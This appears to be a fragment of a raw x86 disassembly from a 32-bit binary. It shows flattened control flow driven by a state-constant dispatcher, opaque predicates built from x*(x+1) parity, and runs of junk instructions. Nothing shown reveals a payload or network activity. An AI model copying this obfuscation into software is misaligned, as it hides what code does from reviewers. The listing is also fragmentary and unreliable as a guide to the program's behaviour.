setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov edi, 0xa025ce70
mov eax, 0x488d885d
cmovne edi, eax
test cl, cl
mov eax, edi
mov ecx, 0xa025ce70
jmp 0x10006ac6
cmp eax, 0xa9c67c46
jg 0x10004255
cmp eax, 0xa69e7e98
je 0x1000603e
cmp eax, 0xa6c6d06f
je 0x10006081
cmp eax, 0xa6d135f1
jne 0x10001308
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x492ee20f
and eax, 0xb6d11df0
or eax, edx
xor eax, 0x492ee20e
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x1005c978], 0xa
setge ah
setl ch
mov al, ch
xor al, dl
and al, ch
and ah, cl
and ch, dl
or ch, ah
mov cl, al
xor cl, ch
mov edx, 0x2db9d80
mov edi, 0xc808d7c1
jmp 0x100059bc
cmp eax, 0x34144df9
jg 0x10004280
cmp eax, 0x337e22aa
je 0x100060de
cmp eax, 0x338536cf
je 0x100060e8
cmp eax, 0x339a501d
jne 0x10001308
mov eax, 0xe5ef747c
jmp 0x10001308
cmp eax, 0xef6adef5
jg 0x100042ab
cmp eax, 0xeebf28fb
je 0x10006154
cmp eax, 0xef087007
je 0x100061ab
cmp eax, 0xef29d24d
jne 0x10001308
mov dl, byte [ebp - 0x5d]
mov cl, byte [ebp - 0x5e]
xor dl, 1
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov ah, cl
xor ah, al
or cl, al
xor cl, 1
or cl, ah
xor cl, dl
or al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xae1da7fd
mov edi, 0xb8f22a78
cmovne eax, edi
test cl, 1
cmovne eax, edi
not dl
test dl, 1
mov ecx, 0xae1da7fd
cmove eax, ecx
jmp 0x10001308
cmp eax, 0x6bee228c
jg 0x100042d6
cmp eax, 0x6b1074d7
je 0x100061fb
cmp eax, 0x6b23264b
je 0x10006263
cmp eax, 0x6b55c1c4
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
test cl, 1
sete dl
cmp dword [0x1005c978], 0xa
setl ah
setge al
and dl, al
or al, cl
and ah, cl
or ah, dl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0xc34e89c2
mov edx, 0xcc4c029
cmovne ecx, edx
test ah, ah
mov edx, ecx
mov esi, 0xc34e89c2
jmp 0x100064d4
cmp eax, 0x9997d2c3
jg 0x1000434f
cmp eax, 0x97c98145
je 0x100062c8
cmp eax, 0x97f44b4e
je 0x10006332
cmp eax, 0x998605ab
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xb730053d
and eax, 0x48cffac2
or eax, edx
xor eax, 0x48cffac3
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
and al, ch
or ch, cl
and dl, cl
or dl, al
mov al, ch
xor al, dl
mov edi, 0x5aa7fcec
mov eax, 0x3671dfb7
cmovne edi, eax
test dl, dl
mov eax, edi
mov edx, 0x5aa7fcec
jmp 0x10007360
cmp eax, 0xba2dc65e
jg 0x100043a0
cmp eax, 0xb8f22a78
je 0x10006345
cmp eax, 0xb9213404
je 0x1000634f
cmp eax, 0xb9790208
jne 0x10001308
mov eax, 0x1ab7f39a
jmp 0x10001308
cmp eax, 0x46096e9b
jg 0x100043d6
cmp eax, 0x43ab8cef
je 0x100063bb
cmp eax, 0x44066535
je 0x10006421
cmp eax, 0x44c19f8a
jne 0x10001308
mov eax, 0x6648f9a5
jmp 0x10001308
cmp eax, 0x4358d81
jg 0x10004419
cmp eax, 0x2db9d80
je 0x10006484
cmp eax, 0x37bf29f
je 0x10006491
cmp eax, 0x3841afa
jne 0x10001308
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14]
cmp dword [eax], 0
mov eax, 0xdeaef418
mov ecx, 0x3f1465fe
cmove eax, ecx
jmp 0x10001308
cmp eax, 0x77aeb17a
jg 0x100044a8
cmp eax, 0x767fe239
je 0x100064dc
cmp eax, 0x774a4447
je 0x10006521
cmp eax, 0x7777d96b
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0xb2341bf1
mov esi, 0x67813b12
cmovne eax, esi
test cl, cl
mov ecx, 0xb2341bf1
jmp 0x100083fd
cmp eax, 0x8b6ed132
jg 0x1000454b
cmp eax, 0x8891d764
je 0x10006534
cmp eax, 0x89222c87
je 0x100065b5
cmp eax, 0x8af56c76
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x3a367abf
and eax, 0xc5c98540
or eax, edx
xor eax, 0xc5c98541
xor ecx, eax
test ecx, eax
sete al
setne dl
cmp dword [0x1005c978], 0xa
setge ah
setl ch
mov cl, ch
xor cl, dl
and cl, ch
and ah, al
and ch, dl
or ch, ah
mov eax, ecx
xor al, ch
mov edx, 0xeac1da57
mov edi, 0xf6e448b0
jmp 0x1000619f
cmp eax, 0xc7e583fb
jg 0x100045d9
cmp eax, 0xc563d19a
je 0x10006633
cmp eax, 0xc56d04b9
je 0x1000667f
cmp eax, 0xc7af8b6d
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and cl, ah
and dl, al
or dl, cl
or ah, al
mov cl, ah
xor cl, dl
test ah, ah
mov eax, 0x5dc7cc05
mov edi, 0xa69950eb
cmovne eax, edi
test dl, dl
cmove eax, edi
test cl, cl
mov ecx, 0x5dc7cc05
cmove eax, ecx
jmp 0x10001308
cmp eax, 0x1a8d0f11
jg 0x10004604
cmp eax, 0x196d6f92
je 0x100066f4
cmp eax, 0x19fe9460
je 0x10006764
cmp eax, 0x1a218d6a
jne 0x10001308
mov eax, dword [0x1005c974]
lea ebx, [eax + 1]
imul ebx, eax
test bl, 1
sete dl
cmp dword [0x1005c978], 0xa
setl al
setge cl
mov ah, cl
inc ah
and ah, bl
and cl, dl
or cl, ah
mov ah, al
xor ah, dl
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x2a93ed1d
mov esi, 0xa50b9188
cmovne edx, esi
test al, al
mov eax, 0x2a93ed1d
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x10001308
cmp eax, 0xd3e22ed6
jg 0x1000462f
cmp eax, 0xd0844c52
je 0x1000676e
cmp eax, 0xd29b4dc5
je 0x100067c4
cmp eax, 0xd32ca0ee
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x7320fd26
and eax, 0x8cdf02d9
or eax, edx
xor eax, 0x8cdf02d8
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
and al, ch
or ch, cl
and dl, cl
or dl, al
mov cl, ch
xor cl, dl
test dl, dl
mov eax, 0xfa02fca2
mov edx, 0x3f950368
cmovne eax, edx
test ch, ch
mov edi, 0xfa02fca2
jmp 0x10007a6a
cmp eax, 0x596259ad
jg 0x100046b7
cmp eax, 0x58a129d8
je 0x100067dc
cmp eax, 0x590b6ecb
je 0x10006835
cmp eax, 0x594393f0
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
and cl, ch
or ch, al
and dl, al
or dl, cl
mov eax, edx
xor al, ch
test dl, dl
mov edx, 0xdd6c2c9f
mov esi, 0x37bf29f
cmovne edx, esi
test ch, 1
mov ecx, 0xdd6c2c9f
jmp 0x10002f43
cmp eax, 0x12c1aacc
jg 0x100046e2
cmp eax, 0x112491ee
je 0x10006842
cmp eax, 0x122dc88c
je 0x10006874
cmp eax, 0x12560f56
jne 0x10001308
mov eax, dword [ebp - 0x1c]
mov eax, 0x6d979c3b
jmp 0x10001308
cmp eax, 0x517e24f6
jg 0x1000470d
cmp eax, 0x50dd2f49
je 0x100068a7
cmp eax, 0x51000882
je 0x100068b1
cmp eax, 0x51716025
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x1005c978], 0xa
setge ah
setl ch
mov al, ch
xor al, dl
and al, ch
and ah, cl
and ch, dl
or ch, ah
mov cl, al
xor cl, ch
mov edx, 0xc7e583fc
mov esi, 0x8f279a85
jmp 0x100082d2
cmp eax, 0x218396c7
jg 0x10004744
cmp eax, 0x216501b0
je 0x1000692e
cmp eax, 0x2165cc72
je 0x10006938
cmp eax, 0x2181e2be
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
and cl, ch
or ch, al
and dl, al
or dl, cl
mov al, ch
xor al, dl
test dl, dl
mov edx, 0x50dd2f49
mov esi, 0xc43f07fa
cmovne edx, esi
test ch, 1
mov ecx, 0x50dd2f49
cmovne edx, ecx
test al, 1
jmp 0x10004029
cmp eax, 0xddfe9dec
jg 0x100047cc
cmp eax, 0xdbe927da
je 0x100069a1
cmp eax, 0xdd6c2c9f
je 0x100069c3
cmp eax, 0xddfcaf88
jne 0x10001308
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe3eb3db5
and eax, 0x1c14c24a
or eax, edx
xor eax, 0xe3eb3db4
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x1005c978], 0xa
setge dl
xor cl, dl
or al, dl
mov edx, ecx
xor dl, al
mov edx, 0x97f44b4e
mov edi, 0x561cf15c
cmovne edx, edi
test al, al
mov eax, 0x561cf15c
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x10001308
cmp eax, 0x5e84cad5
jg 0x100047f7
cmp eax, 0x5db8cd82
je 0x10006a10
cmp eax, 0x5dc7cc05
je 0x10006a28
cmp eax, 0x5e1b9c20
jne 0x10001308
mov eax, 0xf6a047c0
jmp 0x10001308
cmp eax, 0xfe51a89
jg 0x10004822
cmp eax, 0xf3ee884
je 0x10006a86
cmp eax, 0xf728661
je 0x10006ad3
cmp eax, 0xfca7105
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xe16c5103
mov edx, eax
and edx, 0x1e93aefc
or edx, ecx
xor edx, 0x1e93aefd
and eax, 0xfffffffe
or eax, edx
xor eax, 0x99e7a1d7
cmp eax, 0x66185e28
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0xd6a36bb8
mov edi, 0xa46bf531
cmovne edx, edi
test al, al
mov eax, edx
mov esi, 0xd6a36bb8
jmp 0x10006b5a
cmp eax, 0x502f0c1a
jg 0x1000484d
cmp eax, 0x4fef4161
je 0x10006add
cmp eax, 0x50118199
je 0x10006ae7
cmp eax, 0x5018cbc2
jne 0x10001308
mov eax, 0xc9081559
jmp 0x10001308
cmp eax, 0xa35ba130
je 0x10005126
cmp eax, 0xa46bf531
je 0x10006af4
cmp eax, 0xa50b9188
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
and ah, cl
and al, dl
or al, ah
or dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0xedc0d6c9
mov edi, 0x68b13603
cmovne edx, edi
test al, al
cmove edx, edi
test cl, cl
mov eax, 0xedc0d6c9
jmp 0x10008b80
cmp eax, 0x2d6bb456
je 0x10006afe
cmp eax, 0x2db2c3d0
je 0x10008897
cmp eax, 0x30ac1549
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
and ch, ah
and dl, al
and ah, cl
or ah, dl
mov al, ah
xor al, ch
test ah, ah
mov edx, 0x32efd896
mov esi, 0x492d66ee
cmovne edx, esi
test ch, ch
mov ecx, 0x32efd896
jmp 0x10006412
cmp eax, 0xeac1da57
je 0x10006b62
cmp eax, 0xeb60c32d
je 0x10006bd2
cmp eax, 0xeb878f44
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete cl
setne al
cmp dword [0x1005c978], 0xa
setl dl
xor al, dl
mov ah, al
xor ah, 1
or cl, dl
xor cl, 1
or cl, ah
xor ah, cl
mov edx, 0x969c26a2
mov edi, 0x50c1fc06
cmovne edx, edi
test cl, cl
mov ecx, 0x969c26a2
cmovne ecx, edx
test al, al
cmovne ecx, edx
mov eax, ecx
jmp 0x10001308
cmp eax, 0x6754a7ee
je 0x10006c38
cmp eax, 0x6779ccf0
je 0x100088a1
cmp eax, 0x67813b12
jne 0x10001308
mov eax, 0x7777d96b
jmp 0x10001308
cmp eax, 0x93035aa0
je 0x10006c8c
cmp eax, 0x943577ca
je 0x10006ca1
cmp eax, 0x949a3576
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
not al
or al, 0xfe
cmp al, 0xff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
mov eax, ecx
xor al, dl
mov eax, 0xc87eb30
mov edi, 0xde1ec79d
cmovne eax, edi
test cl, cl
mov ecx, 0xc87eb30
jmp 0x100083fd
cmp eax, 0x1bdaf105
je 0x100088b0
cmp eax, 0x1c866098
je 0x10008919
cmp eax, 0x1cc4e92d
jne 0x10001308
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x34]
mov dword [eax], 8
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], ecx
mov ecx, dword [0x1005c974]
xor eax, eax
inc eax
sub eax, ecx
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
xor al, dl
mov ch, dl
xor ch, cl
or dl, cl
xor al, 1
xor dl, 1
or dl, al
mov cl, dl
xor cl, ch
test dl, dl
mov eax, 0xf31d9293
mov edx, 0x821ea8cb
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, cl
mov ecx, 0xf31d9293
cmove eax, ecx
jmp 0x10001308
cmp eax, 0xd6a36bb8
je 0x10006cab
cmp eax, 0xd6bc3e75
je 0x10008923
cmp eax, 0xd7da1bc8
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x7a7ff474
mov edx, eax
and edx, 0x85800b8b
or edx, ecx
xor edx, 0x85800b8a
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, eax
xor dl, cl
or cl, al
mov eax, edx
xor al, cl
mov eax, 0x1f683b1f
mov edi, 0x5d307e88
cmovne eax, edi
test cl, cl
mov ecx, 0x1f683b1f
jmp 0x100083fd
cmp eax, 0x5aa03841
je 0x10008939
cmp eax, 0x5aa7fcec
je 0x1000899e
cmp eax, 0x5b4da34a
jne 0x10001308
mov eax, 0x3f1465fe
jmp 0x10001308
cmp eax, 0xb50705dd
je 0x10006d1b
cmp eax, 0xb696fc3b
je 0x10006d8e
cmp eax, 0xb6b29661
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx - 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
or ch, al
xor dl, cl
mov al, ch
xor al, dl
test dl, dl
mov edx, 0x1e444f58
mov edi, 0x943577ca
cmovne edx, edi
test ch, 1
mov ecx, 0x1e444f58
cmovne edx, ecx
test al, 1
cmove edx, edi
mov eax, edx
jmp 0x10001308
cmp eax, 0x407c4eff
je 0x10006df3
cmp eax, 0x41337a53
je 0x10008a14
cmp eax, 0x41419d46
jne 0x10001308
mov eax, 0x5aa03841
jmp 0x10001308
cmp eax, 0xfa42ec33
je 0x10006dfd
cmp eax, 0xfca2a6d5
je 0x10006e07
cmp eax, 0xfd1779d1
jne 0x10001308
cmp byte [ebp - 0x60], 0
mov eax, 0x82563862
mov ecx, 0xd29b4dc5
cmovne eax, ecx
jmp 0x10001308
cmp eax, 0x71c85d2f
je 0x10006e7d
cmp eax, 0x71f67758
je 0x10008a64
cmp eax, 0x7393304f
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete cl
cmp dword [0x1005c978], 0xa
setl dl
xor cl, dl
mov ch, cl
mov eax, 0x54a3742e
mov edi, 0xa5229131
cmovne eax, edi
not ch
test ch, dl
mov esi, 0x54a3742e
cmove eax, esi
jmp 0x10006c29
cmp eax, 0x8436cdb6
je 0x10006e87
cmp eax, 0x84a361d9
je 0x10006e91
cmp eax, 0x8509883d
jne 0x10001308
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, 0xf5557c7a
jmp 0x10001308
cmp eax, 0x150a0520
je 0x10008a81
cmp eax, 0x156a8ce7
je 0x10008a8b
cmp eax, 0x15a598e4
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x2403b806
mov edx, eax
and edx, 0xdbfc47f9
or edx, ecx
xor edx, 0xdbfc47f8
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
mov ecx, 0xca576bf2
mov edi, 0x5a2b6412
cmovne ecx, edi
test dl, dl
mov edx, ecx
mov esi, 0xca576bf2
jmp 0x10008c3d
cmp eax, 0xca83e88b
je 0x10006ef5
cmp eax, 0xcb7f4d23
je 0x10006eff
cmp eax, 0xcbe9ebaf
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x96d13568
and eax, 0x692eca97
or eax, edx
xor eax, 0x692eca96
xor ecx, eax
test ecx, eax
sete dl
setne ah
cmp dword [0x1005c978], 0xa
setge al
setl cl
and ah, cl
and al, dl
or al, ah
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
mov edx, 0x489a81aa
mov edi, 0xb0414991
cmovne edx, edi
test cl, cl
mov ecx, 0x489a81aa
jmp 0x10008ae4
cmp eax, 0x533a885a
je 0x10008af3
cmp eax, 0x54a3742e
je 0x10008b09
cmp eax, 0x54d44f53
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa2ac6539
mov edx, eax
and edx, 0x5d539ac6
or edx, ecx
xor edx, 0x5d539ac7
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x1005c978], 0xa
setl al
setge ah
and dl, ah
and al, cl
or al, dl
or ah, cl
mov cl, ah
xor cl, al
mov ecx, 0xbe53ea92
mov edx, 0xf728661
cmovne ecx, edx
test ah, ah
mov edx, 0xbe53ea92
jmp 0x1000816c
cmp eax, 0xaa750ce8
je 0x10006f09
cmp eax, 0xaa827e8b
je 0x10006f13
cmp eax, 0xaad3495a
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x845a4688
mov edx, eax
and edx, 0x7ba5b977
or edx, ecx
xor edx, 0x7ba5b976
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete al
setne dl
cmp dword [0x1005c978], 0xa
setge ah
setl ch
mov cl, ch
xor cl, dl
and cl, ch
and ah, al
and ch, dl
or ch, ah
mov eax, ecx
xor al, ch
mov edx, 0xde4c04d6
mov edi, 0x94a99dd8
jmp 0x1000619f
cmp eax, 0x3671dfb7
je 0x10006f71
cmp eax, 0x368b6d20
je 0x10008b13
cmp eax, 0x36aea693
jne 0x10001308
mov eax, 0x609ece
jmp 0x10001308
cmp eax, 0xf385e5cb
je 0x10006f7b
cmp eax, 0xf3ae30ef
je 0x10006fe0
cmp eax, 0xf4294b94
jne 0x10001308
mov eax, 0x6b23264b
jmp 0x10001308
cmp eax, 0x6cc03ddd
je 0x10006fea
cmp eax, 0x6cc72d31
je 0x10008b1d
cmp eax, 0x6cd25ad6
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x41fcaa26
mov edx, eax
and edx, 0xbe0355d9
or edx, ecx
xor edx, 0xbe0355d8
and eax, 0xfffffffe
or eax, edx
xor eax, 0xd6b82cc0
cmp eax, 0x2947d33f
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
mov edi, 0xb267973f
mov esi, 0x87c05009
jmp 0x10007750
cmp eax, 0x9a0a0888
je 0x1000700d
cmp eax, 0x9a114b80
je 0x10007068
cmp eax, 0x9a3be4c0
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
and ch, ah
and dl, al
and ah, cl
or ah, dl
mov al, ch
xor al, ah
test ah, ah
mov edx, 0x19589f57
mov edi, 0x7f0ed7ab
cmovne edx, edi
test ch, ch
mov ecx, 0x19589f57
jmp 0x10007e2b
cmp eax, 0x24ea1ee8
je 0x10008b30
cmp eax, 0x25ba6160
je 0x10008b8a
cmp eax, 0x260c437a
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x1005c978], 0xa
setge cl
setl dl
xor dl, al
or cl, al
mov eax, edx
xor al, cl
mov edi, 0x12560f56
mov eax, 0x6d979c3b
cmovne edi, eax
test cl, cl
cmovne eax, edi
jmp 0x10006ac9
cmp eax, 0xdeaef418
je 0x10007072
cmp eax, 0xe01af0a2
je 0x10008bd4
cmp eax, 0xe021c6aa
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x7dba76fc
and eax, 0x82458903
or eax, edx
xor eax, 0x7dba76fd
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x1005c978], 0xa
setge ch
setl cl
mov al, ch
xor ch, ah
and ah, cl
and al, dl
or al, ah
or cl, dl
xor cl, 1
or cl, ch
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xfca7105
mov edi, 0x7a0c6cfc
cmovne ecx, edi
test al, al
cmove ecx, edi
test dl, dl
mov eax, 0xfca7105
jmp 0x10008402
cmp eax, 0x5f1dd697
je 0x10008bea
cmp eax, 0x6084c8eb
je 0x10008c4c
cmp eax, 0x60d20528
jne 0x10001308
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call fcn.1004c6c8
add esp, 8
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xe539073a
mov edx, eax
and edx, 0x1ac6f8c5
or edx, ecx
xor edx, 0x1ac6f8c4
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
and ch, ah
and dl, al
and ah, cl
or ah, dl
mov al, ch
xor al, ah
test ah, ah
mov edx, 0x8e694b2a
mov esi, 0xca83e88b
jmp 0x10006408
cmp eax, 0xbc81be4a
je 0x100070c2
cmp eax, 0xbc98a6aa
je 0x100070da
cmp eax, 0xbd5ad1d2
jne 0x10001308
mov eax, dword [ebp - 0x2c]
mov dword [eax], 2
mov eax, 0x7f8a82c8
jmp 0x10001308
cmp eax, 0x486ae44a
je 0x10007129
cmp eax, 0x488d885d
je 0x10008c56
cmp eax, 0x489a81aa
jne 0x10001308
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add ecx, 0x34
mov edx, dword [ebp - 0x4c]
mov edx, dword [edx]
mov edx, dword [edx + 0x14]
add edx, 0xfffffff4
push edx
push ecx
push dword [eax]
call fcn.1004b180
add esp, 0xc
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x2c]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
push dword [ebp - 0x48]
push dword [eax]
push dword [ecx]
call fcn.100387c6
add esp, 0xc
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x30]
not eax
mov ecx, edx
xor ecx, eax
or eax, edx
not eax
not ecx
and ecx, edx
or ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa7f4e9b3
mov edx, eax
and edx, 0x580b164c
or edx, ecx
xor edx, 0x580b164d
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x1005c978], 0xa
setl al
setge ah
and dl, ah
and al, cl
or al, dl
or ah, cl
mov cl, ah
xor cl, al
mov ecx, 0xe7110fbc
mov edx, 0xb0414991
cmovne ecx, edx
test ah, ah
mov edx, 0xe7110fbc
jmp 0x1000816c
cmp eax, 0x5fcc869
je 0x10007133
cmp eax, 0x67c5f14
je 0x10007149
cmp eax, 0xa4be11f
jne 0x10001308
mov eax, 0x905925b9
jmp 0x10001308
cmp eax, 0x784788a8
je 0x10007156
cmp eax, 0x7a0c6cfc
je 0x10008c60
cmp eax, 0x7d13ef52
jne 0x10001308
